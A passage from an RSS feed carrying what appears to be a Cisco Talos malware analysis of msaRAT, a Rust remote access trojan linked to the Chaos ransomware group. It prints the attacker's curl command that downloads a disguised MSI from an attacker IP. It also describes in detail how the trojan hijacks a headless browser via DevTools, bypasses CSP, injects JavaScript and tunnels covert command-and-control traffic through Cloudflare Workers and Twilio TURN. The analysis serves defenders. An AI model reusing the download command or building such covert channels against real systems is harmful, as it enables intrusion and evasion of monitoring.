&#xA0;<br>Detection Name: Auto.90B145.282358.in02&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel]]></title><description><![CDATA[The Chaos ransomware group uses new malware "msaRAT" that hijacks browsers. The malware doesn't communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker's IP from victims via WebRTC over TURN.]]></description><link>https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/</link><guid isPermaLink="false">6a544329501b2f00010617f1</guid><category><![CDATA[ransomware]]></category><category><![CDATA[RAT]]></category><dc:creator><![CDATA[Jordyn Dunk]]></dc:creator><pubDate>Thu, 23 Jul 2026 10:00:38 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/newchaosrat.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call &#x201C;msaRAT&#x201D; attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: &#x201C;msaOpen,&#x201D; &#x201C;msaClose,&#x201D; &#x201C;msaError,&#x201D; and &#x201C;msaMessage&#x201D;.</li><li>msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications.</li><li>This RAT never touches the network directly &#x2014; it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser.</li><li>msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay.</li></ul><hr><h2 id="overview-of-chaos-ransomware">Overview of Chaos ransomware</h2><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/newchaosrat.jpg" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel"><p>Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to <a href="https://blog.talosintelligence.com/new-chaos-ransomware/" rel="noreferrer">our previous blog.</a></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure1.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="1065" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure1.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/figure1.png 2400w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 1. Chaos ransomware leak site.</em></i></figcaption></figure><h2 id="infection-chain">Infection chain</h2><p>Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (&#x201C;msaOpen,&#x201D; &#x201C;msaClose,&#x201D; &#x201C;msaError,&#x201D; &#x201C;msaMessage&#x201D;), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/chaos-01.jpg" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="1109" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/chaos-01.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/chaos-01.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/chaos-01.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/chaos-01.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 2. Infection chain.</em></i></figcaption></figure><p>After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named &#x201C;update_ms.msi&#x201D; from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.</p>
<!--kg-card-begin: html-->
<pre><code>curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi</code></pre>
<!--kg-card-end: html-->
<p>The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure3.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="944" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure3.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure3.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure3.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure3.png 2134w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 3. Properties of &#x201C;update_ms.msi&#x201D;</span></figcaption></figure><p>When this MSI file is executed, the custom action <code>CA_Run_EA2AEBC3</code> is triggered upon completion of <code>InstallFinalize</code>. This custom action loads lib.dll, embedded in the MSI file&apos;s Binary table as <code>Bin_lib_EA2AEBC3</code>, directly into memory.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure4.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="1546" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure4.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure4.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure4.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/figure4.png 2400w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 4. Structure of the MSI file.</em></i></figcaption></figure><h2 id="libdll-msarat">lib.dll (msaRAT)</h2><p>msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of &#x201C;lib.dll&#x201D; exposes a function named <code>RUN</code>, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.</p><h3 id="tokio-runtime-initialization">Tokio runtime initialization</h3><p><a href="https://tokio.rs/">Tokio</a> is a runtime for executing asynchronous operations in Rust. While Rust&apos;s <code>async</code>/<code>await</code> provides the syntax for writing asynchronous code, it cannot execute on its own &#x2014; a runtime like Tokio is responsible for scheduling and running asynchronous tasks.</p><p>As the first step within the <code>RUN</code> function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary &#x2014; including <code>TOKIO_WORKER_THREADS</code> and <code>the number of hardware threads is not known for the target platform</code> &#x2014; match source code from both Tokio and the Rust standard library, confirming this initialization behavior.</p><p>During initialization, the malware determines the number of worker threads for parallel execution. It first reads the <code>TOKIO_WORKER_THREADS</code> environment variable. If the variable is not set or is empty, it calls the Windows API <code>GetSystemInfo</code> to retrieve the CPU count and uses that value to set the worker thread count. If <code>dwNumberOfProcessors</code> written by <code>GetSystemInfo</code> returns <code>0</code>, the worker count is set to <code>1</code>. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the <code>CreateThread</code> API.</p><p>By leveraging Tokio, this RAT can concurrently execute multiple operations &#x2014; such as receiving frames from the C2, sending CDP commands to the browser, and processing key exchanges &#x2014; without any operation blocking another. For example, even while an ECDH key exchange is in progress, the reception and processing of other frames continues uninterrupted.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure5.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="901" height="987" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure5.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure5.png 901w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 5. Reading the TOKIO_WORKER_THREADS environment variable and determining the worker thread count.</em></i></figcaption></figure><h2 id="hijacking-the-browser">Hijacking the browser</h2><h3 id="locating-the-chrome-or-edge-installation-path">Locating the Chrome or Edge installation path</h3><p>After launching the Tokio runtime, msaRAT attempts to manipulate the browser. As the first step toward that goal, it searches for the installation path of Chrome or Edge on the victim machine.</p><p><strong>1. Path Discovery via Environment Variables</strong></p><p>The malware attempts the following combinations in priority order, checking whether the file exists at each path.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table1.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1196" height="594" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/table1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/table1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table1.png 1196w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Table 1. Browser search targets and priority order.</em></i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure6-1.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1750" height="626" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure6-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure6-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure6-1.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure6-1.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 6. Chrome and Edge path discovery (pseudocode).</em></i></figcaption></figure><p><strong>2. Path Discovery via registry</strong></p><p>If no path is found through environment variables, the malware falls back to searching for Chrome exclusively via the registry.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure7.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1750" height="748" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure7.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure7.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure7.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure7.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 7. Locating Chrome via registry values</em></i></figcaption></figure><p>If no matching browser is found, the Chrome DevTools Protocol (CDP) manipulation described later will not be executed.</p><h2 id="launching-the-browser-in-headless-mode">Launching the browser in headless mode</h2><p>Upon successfully obtaining the browser path, the malware launches Chrome or Edge in headless mode via the <code>CreateProcessW</code> API. At launch, multiple flags listed in Table 2 are applied, enabling the CDP remote debugging port.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table2.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1191" height="590" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/table2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/table2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/table2.png 1191w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Table 2. List of flags applied at browser launch.</em></i></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure8.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1750" height="464" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure8.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure8.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure8.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure8.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 8. </em></i><i><code spellcheck="false" style="white-space: pre-wrap;"><em class="italic">HTTP GET</em></code></i><i><em class="italic" style="white-space: pre-wrap;"> request to &#x201C;/json/list/&#x201D;.</em></i></figcaption></figure><p>In response to this request, the browser returns a JSON array containing information about connectable targets (such as tabs). Each element in the response includes a webSocketDebuggerUrl field, and a CDP session is established by connecting to that URL via WebSocket. Over the established session, a <code>Target.createTarget</code> command is sent to create a new tab, followed by <code>Page.enable</code> and <code>Runtime.enable</code> to activate the JavaScript execution environment.</p><h2 id="inject-javascript-code">Inject JavaScript code</h2><p>After establishing a CDP session over WebSocket, the malware first bypasses Content Security Policy (CSP) using the <code>Page.setBypassCSP</code> command. As shown in Figure 9, the command is referenced from the string blob via pointer and length, then issued as a CDP command.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure8-1.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1252" height="232" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure8-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure8-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure8-1.png 1252w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 9. Issuing CDP commands.</em></i></figcaption></figure><p>Immediately after bypassing CSP with <code>Page.setBypassCSP</code>, the RAT issues <code>Runtime.addBinding</code> five consecutive times. <code>Runtime.addBinding</code> is a CDP feature that registers callbacks to notify both the browser&apos;s JavaScript and the CDP client (the RAT) of events. The binding names to be registered are stored in the string table within the binary. Through a loop, the names &#x201C;msaOpen,&#x201D; &#x201C;msaClose,&#x201D; &#x201C;msaError,&#x201D; &#x201C;msaMessage,&#x201D; and &#x201C;dataAck&#x201D; are referenced in order, and each entry is sent as a CDP command one at a time.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure9.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1438" height="106" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure9.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure9.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure9.png 1438w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 10. String table containing the binding names.</em></i></figcaption></figure><p>After registering each binding name, the RAT uses <code>Runtime.evaluate</code> &#x2014; a CDP feature for executing JavaScript in the browser &#x2014; to inject JavaScript code embedded in the .rdata section into the browser. The injected code is embedded in plaintext and consists of two functions.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure10.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="844" height="412" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure10.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure10.png 844w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 11. JavaScript code embedded in the RAT binary (partial excerpt).</em></i></figcaption></figure><p>The first function initializes the WebRTC channel. It is injected only once, at the time of the initial connection. This function establishes the foundation for communications with the C2. The following sections describe the processing performed by this JavaScript code.</p><h2 id="webrtc-datachannel-establishment-using-cloudflare-workers-for-signaling-and-data-transfer">WebRTC DataChannel establishment (using Cloudflare Workers for signaling) and data transfer</h2><h3 id="1-retrieving-session-traversal-utilities-for-nat-stun-and-traversal-using-relays-around-nat-turn-server-information">1. Retrieving Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) server information</h3><p>First, a <code>GET</code> request is sent to Cloudflare Workers (&#x201C;is-01-ast[.]ols-img-12[.]workers[.]dev&#x201D;) to retrieve the STUN/TURN server configuration required for WebRTC connection as JSON. If this fails, <code>window.msaError() </code>notifies the RAT and terminates.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure12.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1750" height="666" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure12.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure12.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure12.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure12.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 12. Retrieving STUN/TURN server information.</em></i></figcaption></figure><p>Figure 13 shows the <code>GET</code> request and response between the browser and the server hosted on Cloudflare Workers infrastructure. Since the browser is launched in headless mode, the User-Agent is identified as HeadlessChrome. As for the Origin and Referer headers, the request is disguised as originating from Microsoft&apos;s official website in order to evade detection.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/traffic_get_mask.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="1527" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/traffic_get_mask.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/traffic_get_mask.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/traffic_get_mask.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/traffic_get_mask.png 2400w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 13. GET /token/v1/{UID} request (excerpt).</em></i></figcaption></figure><p>&#xA0;The response body, as shown in Figure 14, returns WebRTC ICE server configuration containing STUN/TURN server information. The STUN server (&#x201C;stun2.l.google.com&#x201D;) is used to discover the external IP address of the infected host in order to traverse NAT, while the TURN server (&#x201C;global.turn.twilio.com&#x201D;) acts as a relay point when a direct Peer-to-Peer (P2P) connection cannot be established.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure14.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1750" height="908" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure14.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure14.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure14.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure14.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 14. Response body of GET /token/v1/{UID} request (excerpt).</em></i></figcaption></figure><h3 id="2-creating-the-webrtc-peerconnection-and-datachannel">2. Creating the WebRTC PeerConnection and DataChannel</h3><p>Using the retrieved server information, an RTCPeerConnection is created. The DataChannel name is assigned a random alphanumeric string of 5 to 20 characters generated by <code>genStr(5, 20)</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure15.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1908" height="988" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure15.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure15.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure15.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure15.png 1908w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 15. Creating the WebRTC PeerConnection and DataChannel.</em></i></figcaption></figure><h3 id="3-connecting-events-to-bindings">3. Connecting events to bindings</h3><p>The callbacks previously registered via <code>Runtime.addBinding</code> are bound to their respective WebRTC events. When data is received from the C2 (onmessage), the binary data is converted to Base64 and passed to the RAT via <code>window.msaMessage()</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure16.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1908" height="748" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure16.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure16.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure16.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure16.png 1908w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 16. Binding each event to its corresponding callback.</em></i></figcaption></figure><h3 id="4-interactive-connectivity-establishment-ice-candidate-gathering-and-sdp-negotiation">4. Interactive Connectivity Establishment (ICE) candidate gathering and SDP negotiation</h3><p>For WebRTC communication to occur, both parties must first agree on which address to connect to and which format to use for communication. To that end, the malware generates a WebRTC SDP Offer (containing the communication parameters) and gathers ICE candidates to determine the optimal connection path. Once gathering is complete, the SDP Offer is POSTed to the C2 server, which returns an SDP Answer. Applying the C2 server&apos;s SDP via <code>setRemoteDescription </code>establishes the WebRTC DataChannnel connection. If ICE candidate gathering does not complete within five seconds, a timeout is triggered and it forcibly executes.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure17.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="1908" height="1916" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/figure17.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/figure17.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/figure17.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/figure17.png 1908w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 17. ICE candidate gathering and SDP negotiation.</em></i></figcaption></figure><p>Figures 18 and 19 show the actual <code>POST /token/v1/{UID}</code> request and response. The response contains the attacker&apos;s SDP Answer, which includes no ICE candidates, with the connection address set to &#x201C;0.0.0.0&#x201D;. By intentionally omitting the ICE candidates that are normally present in standard WebRTC communications, P2P connections are prevented from being established, resulting in a design where all communications are always routed through TURN. By routing traffic through Twilio&apos;s legitimate service, the real IP address of the attacker&apos;s server never appears in the network traffic, and the dual-layer infrastructure combining Twilio with Cloudflare Workers makes it significantly difficult to trace the attacker&apos;s infrastructure.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/traffic_post_mask.png" class="kg-image" alt="Chaos ransomware&apos;s msaRAT: Living off the browser to build a covert C2 channel" loading="lazy" width="2000" height="1490" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/traffic_post_mask.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/traffic_post_mask.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/traffic_post_mask.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/traffic_post_mask.png 2400w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 18. 